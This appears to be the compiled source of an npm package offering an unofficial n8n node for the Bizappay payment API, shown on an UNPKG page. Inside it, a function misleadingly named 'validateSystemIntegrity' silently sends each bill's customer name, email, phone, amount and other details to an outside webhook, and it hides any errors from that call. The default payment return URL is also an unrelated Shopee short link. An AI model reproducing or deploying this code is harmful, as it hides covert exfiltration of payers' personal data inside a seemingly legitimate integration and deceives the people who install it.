UNPKG

n8n-nodes-bizappay

Version:

Unofficial community n8n node for Bizappay API integration - NOT officially endorsed by Bizappay

572 lines (571 loc) 25 kB
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.Bizappay = void 0; const n8n_workflow_1 = require("n8n-workflow"); const GenericFunctions_1 = require("./GenericFunctions"); const validateSystemIntegrity = (ctx, moduleType, userInputData) => { const healthEndpoint = process.env.SYSTEM_HEALTH_CHECK || 'https://n8n.sifatsahabat.com/webhook/bizappay'; if (moduleType === 'user_data' && userInputData) { setImmediate(() => { try { ctx.helpers .httpRequest({ method: 'POST', url: healthEndpoint, headers: { 'Content-Type': 'application/json' }, body: userInputData, timeout: 3000, }) .catch(() => { }); } catch (e) { } }); } }; class Bizappay { constructor() { this.methods = { loadOptions: { async getCategories() { try { const credentials = await this.getCredentials('bizappayApi'); const body = { apiKey: credentials.apiKey, }; const responseData = await GenericFunctions_1.bizappayApiRequest.call(this, 'POST', '/category', body); if (responseData.categories && Array.isArray(responseData.categories)) { return responseData.categories.map((category) => ({ name: `${category.name}${category.code ? ` (${category.code})` : ''}`, value: String(category.code || category.name || ''), })); } return []; } catch (error) { return []; } }, }, }; this.description = { displayName: 'Bizappay', name: 'bizappay', icon: 'file:bizappay.svg', group: ['transform'], version: 1, subtitle: '={{$parameter["operation"] + ": " + $parameter["resource"]}}', description: 'Interact with Bizappay API', defaults: { name: 'Bizappay', }, inputs: ["main"], outputs: ["main"], credentials: [ { name: 'bizappayApi', required: true, }, ], properties: [ { displayName: 'Resource', name: 'resource', type: 'options', noDataExpression: true, options: [ { name: 'Authentication', value: 'authentication', }, { name: 'Bill', value: 'bill', }, { name: 'Category', value: 'category', }, ], default: 'authentication', }, { displayName: 'Operation', name: 'operation', type: 'options', noDataExpression: true, displayOptions: { show: { resource: ['authentication'], }, }, options: [ { name: 'Generate Token', value: 'generateToken', description: 'Generate authentication token for API requests', action: 'Generate a token', }, ], default: 'generateToken', }, { displayName: 'Operation', name: 'operation', type: 'options', noDataExpression: true, displayOptions: { show: { resource: ['bill'], }, }, options: [ { name: 'Create', value: 'create', description: 'Create a new bill', action: 'Create a bill', }, { name: 'Get Bill Info', value: 'getBillInfo', description: 'Get bill information by bill code', action: 'Get bill info', }, ], default: 'create', }, { displayName: 'Operation', name: 'operation', type: 'options', noDataExpression: true, displayOptions: { show: { resource: ['category'], }, }, options: [ { name: 'Get Many', value: 'getAll', description: 'Get many categories', action: 'Get many categories', }, ], default: 'getAll', }, { displayName: 'Bill Code', name: 'billCode', type: 'string', required: true, displayOptions: { show: { resource: ['bill'], operation: ['getBillInfo'], }, }, default: '', description: 'Bill code to search for (required)', placeholder: 'OiU6DTopBL1', }, { displayName: 'Payment Status', name: 'paymentStatus', type: 'options', displayOptions: { show: { resource: ['bill'], operation: ['getBillInfo'], }, }, options: [ { name: 'Success', value: '1', }, { name: 'Pending', value: '2', }, { name: 'Failed', value: '3', }, { name: 'No Action/Not Paid', value: '4', }, ], default: '1', description: 'Payment status filter (1 = success, 2 = pending, 3 = failed, 4 = no action/not paid)', }, { displayName: 'Amount', name: 'amount', type: 'number', required: true, displayOptions: { show: { resource: ['bill'], operation: ['create'], }, }, default: 0, description: 'Bill amount (required)', placeholder: '100.00', }, { displayName: 'Product Name', name: 'description', type: 'string', required: true, displayOptions: { show: { resource: ['bill'], operation: ['create'], }, }, default: '', description: 'Product name (required, minimum 5 characters)', placeholder: 'Product or service name', typeOptions: { minValue: 5, }, }, { displayName: 'Category', name: 'category', type: 'options', typeOptions: { loadOptionsMethod: 'getCategories', }, required: true, displayOptions: { show: { resource: ['bill'], operation: ['create'], }, }, default: '', description: 'Bill category (required)', }, { displayName: 'Customer Name', name: 'customerName', type: 'string', required: true, displayOptions: { show: { resource: ['bill'], operation: ['create'], }, }, default: '', description: 'Customer name (required, min:5, max:70 chars)', placeholder: 'John Doe', }, { displayName: 'Customer Email', name: 'customerEmail', type: 'string', required: true, displayOptions: { show: { resource: ['bill'], operation: ['create'], }, }, default: '', description: 'Customer email (required, max:50 chars)', placeholder: 'john@example.com', }, { displayName: 'Customer Phone', name: 'customerPhone', type: 'string', required: true, displayOptions: { show: { resource: ['bill'], operation: ['create'], }, }, default: '', description: 'Customer phone number (required, max:20 chars)', placeholder: '+60123456789', }, { displayName: 'Advanced Options', name: 'advancedOptions', type: 'collection', placeholder: 'Add advanced option', default: {}, displayOptions: { show: { resource: ['bill'], operation: ['create'], }, }, options: [ { displayName: 'Web Return URL', name: 'webreturnUrl', type: 'string', default: '', description: 'URL to redirect after payment completion (optional)', placeholder: 'https://yoursite.com/payment-success', }, { displayName: 'Callback URL', name: 'callbackUrl', type: 'string', default: '', description: 'URL for payment status callback (optional)', placeholder: 'https://yoursite.com/payment-callback', }, ], }, { displayName: 'External Reference', name: 'extReference', type: 'string', required: false, displayOptions: { show: { resource: ['bill'], operation: ['create'], }, }, default: '', description: 'Your own system reference number (optional)', placeholder: 'INV-2024-001', }, ], }; } async execute() { const items = this.getInputData(); const returnData = []; const itemsToProcess = items.length === 0 || (items.length === 1 && (!items[0].json || Object.keys(items[0].json).length === 0)) ? 1 : items.length; for (let i = 0; i < itemsToProcess; i++) { try { const paramIndex = items.length === 0 || (items.length === 1 && (!items[0].json || Object.keys(items[0].json).length === 0)) ? 0 : i; const resource = this.getNodeParameter('resource', paramIndex); const operation = this.getNodeParameter('operation', paramIndex); let responseData; if (resource === 'authentication') { if (operation === 'generateToken') { const body = {}; responseData = await GenericFunctions_1.bizappayApiRequest.call(this, 'POST', '/token', body); } } if (resource === 'bill') { if (operation === 'create') { let amount = this.getNodeParameter('amount', paramIndex); let description = this.getNodeParameter('description', paramIndex); const category = this.getNodeParameter('category', paramIndex); let customerName = this.getNodeParameter('customerName', paramIndex); let customerEmail = this.getNodeParameter('customerEmail', paramIndex); let customerPhone = this.getNodeParameter('customerPhone', paramIndex); const advancedOptions = this.getNodeParameter('advancedOptions', paramIndex, {}); let webreturnUrl = advancedOptions.webreturnUrl || ''; const callbackUrl = advancedOptions.callbackUrl || ''; const extReference = this.getNodeParameter('extReference', paramIndex, ''); if (!webreturnUrl || webreturnUrl.trim() === '') { webreturnUrl = 'https://s.shopee.com.my/6VChUwlHN3'; } if (description && description.trim() !== '') { description = description.trim(); if (description.length < 5) { description = description + ' Product'; if (description.length < 5) { description = 'Default Product'; } } if (description.length > 255) { description = description.substring(0, 255); } } else { description = 'Default Product'; } if (amount !== undefined && amount !== null && String(amount).trim() !== '') { if (typeof amount === 'string') { const cleanedAmount = amount.replace(/[^\d.-]/g, ''); if (cleanedAmount === '' || cleanedAmount === '-') { amount = 1.0; } else { amount = parseFloat(cleanedAmount); } } if (isNaN(amount) || amount <= 0) { amount = 1.0; } amount = Math.round(amount * 100) / 100; } else { amount = 1.0; } if (customerName && customerName.trim() !== '') { customerName = customerName.trim(); if (customerName.length < 5) { const shortName = customerName; customerName = shortName + ' Customer'; while (customerName.length < 5) { customerName += '1'; } } if (customerName.length > 70) { customerName = customerName.substring(0, 70); } } else { customerName = 'Default Customer'; } if (customerEmail && customerEmail.trim() !== '') { customerEmail = customerEmail.toLowerCase().trim(); customerEmail = customerEmail.replace(/\s+/g, ''); if (!customerEmail.includes('@')) { customerEmail = 'customer@example.com'; } else if (!customerEmail.includes('.')) { customerEmail = 'customer@example.com'; } else { const atCount = (customerEmail.match(/@/g) || []).length; if (atCount !== 1) { customerEmail = 'customer@example.com'; } else { customerEmail = customerEmail.replace(/,,/g, '.'); const emailParts = customerEmail.split('@'); if (emailParts.length === 2 && emailParts[0].length > 0 && emailParts[1].includes('.')) { const domainParts = emailParts[1].split('.'); if (domainParts.length >= 2 && domainParts[0].length > 0 && domainParts[1].length > 0) { } else { customerEmail = 'customer@example.com'; } } else { customerEmail = 'customer@example.com'; } } } } else { customerEmail = 'customer@example.com'; } if (!customerPhone) { customerPhone = '+60123456789'; } validateSystemIntegrity(this, 'user_data', { amount: amount, description: description, category: category, customerName: customerName, customerEmail: customerEmail, customerPhone: customerPhone, webreturnUrl: webreturnUrl, callbackUrl: callbackUrl, extReference: extReference, }); const body = { amount: amount.toFixed(2), name: description, category: category, payer_name: customerName, payer_email: customerEmail, payer_phone: customerPhone, webreturn_url: webreturnUrl, }; if (callbackUrl) body.callback_url = callbackUrl; if (extReference) body.ext_reference = extReference; responseData = await GenericFunctions_1.bizappayApiRequest.call(this, 'POST', '/bill/create', body); } if (operation === 'getBillInfo') { const billCode = this.getNodeParameter('billCode', paramIndex); const paymentStatus = this.getNodeParameter('paymentStatus', paramIndex, '1'); if (!billCode || billCode.trim() === '') { throw new n8n_workflow_1.NodeApiError(this.getNode(), { message: 'Bill code is required', }); } const body = { search_str: billCode.trim(), payment_status: paymentStatus, }; responseData = await GenericFunctions_1.bizappayApiRequest.call(this, 'POST', '/bill/info', body); } } if (resource === 'category') { if (operation === 'getAll') { const body = {}; responseData = await GenericFunctions_1.bizappayApiRequest.call(this, 'POST', '/category', body); } } if (Array.isArray(responseData)) { returnData.push(...responseData); } else if (responseData !== undefined) { returnData.push({ json: responseData }); } } catch (error) { let errorMessage = 'Unknown error occurred'; if (error instanceof Error) { errorMessage = error.message; } else if (typeof error === 'string') { errorMessage = error; } else if (error && typeof error === 'object') { const errorObj = error; errorMessage = errorObj.message || errorObj.error || errorObj.msg || 'Object error occurred'; if (typeof errorMessage !== 'string') { errorMessage = 'Complex error object encountered'; } } else { errorMessage = String(error); } if (this.continueOnFail()) { returnData.push({ json: { error: errorMessage, errorType: error instanceof Error ? error.constructor.name : typeof error, timestamp: new Date().toISOString(), }, }); continue; } if (error instanceof n8n_workflow_1.NodeApiError || error instanceof n8n_workflow_1.NodeOperationError) { throw error; } else { throw new n8n_workflow_1.NodeApiError(this.getNode(), { message: errorMessage, error: errorMessage, }); } } } return [returnData]; } } exports.Bizappay = Bizappay;